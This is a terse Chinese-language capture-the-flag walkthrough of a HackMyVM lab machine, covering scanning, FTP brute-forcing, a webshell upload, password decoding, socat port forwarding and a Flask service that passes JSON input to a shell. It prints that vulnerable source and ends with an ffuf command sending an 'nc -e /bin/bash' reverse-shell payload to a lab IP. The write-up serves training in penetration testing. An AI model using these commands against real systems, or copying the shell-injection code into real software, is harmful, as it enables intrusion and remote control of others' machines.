-
IP
-
端口
-
访问 80 端口
-
目录扫描
-
子域名扫描
-
访问子域名
这里存在一个 Login 登录框,账号密码存在个人信息中的源码中
登录后得到一个新的用户名 david
-
由于目标机器还开放了21号端口,尝试进行爆破
-
连接 FTP
-
查看 Apache 配置文件
找到网站的根目录
-
这里发现文件夹 u9104d_ 完全访问权限
将 webshell 上传至该文件夹中直接连接
-
在 /otp 目录下 存在 sql 文件
使用 base32 解码得到 n3v3rG0nn4G!v3y0UuP
-
在 ftp 还发现存在子域名 totp ,继续访问,这里爆破无果发现可以使用万能密钥登录
将解密的字符替换*号,切换到 avijneyam 用户
n3v3rG0nn4G!v3y0UuP___Cuz_HackMyVM_iS_theRe_Only_4_y0u_:)
-
执行
sudo -l
执行 localhost.sh 文件
发现在 5000 端口运行了一个服务,可以使用 frp 或者 socat 来将端口转发出来
socat tcp-listen:5002,fork tcp:127.0.0.1:5000 & ss -tnlp
-
访问 5002 端口
目录扫描得到 /SourceCode ,访问是一串 base64 加密的数据
from subprocess import Popen, TimeoutExpired, PIPE from flask import Flask, jsonify, abort, request app = Flask(__name__) @app.route("/", methods=[""]) def index(): req_json = request.get_json() if req_json is None or "" not in req_json: abort(400, description="Please provide command in JSON request!") proc = Popen(req_json[""], stdout=PIPE, stderr=PIPE, shell=True) try: outs, errs = proc.communicate(timeout=1) except TimeoutExpired: proc.kill() abort(500, description="The timeout is expired!") if errs: abort(500, description=errs.decode('utf-8')) return jsonify(success=True, message=outs.decode('utf-8')) @app.errorhandler(400) def bad_request(error): return jsonify(success=False, message=error.description), 400 @app.errorhandler(500) def server_error(error): return jsonify(success=False, message=error.description) , 500
通过 Popen 创建子进程,传入 json 中的某个键执行 shell 命令,这里可以通过这种方式反弹shell
-
查看支持的HTTP方法
HTTP/1.0 405 METHOD NOT ALLOWED Content-Type: text/html; charset=utf-8 Allow: OPTIONS, PUT Content-Length: 178 Server: Werkzeug/2.0.2 Python/3.9.2 Date: Sat, 26 Feb 2022 08:32:14 GMT
-
获取需要传入键的字典
ffuf -c -w payload.txt -u http://otp.hmv:5002/ -X PUT -H 'Content-Type: application/json' -d '{"FUZZ": "nc -e /bin/bash 192.168.0.128 7777"}'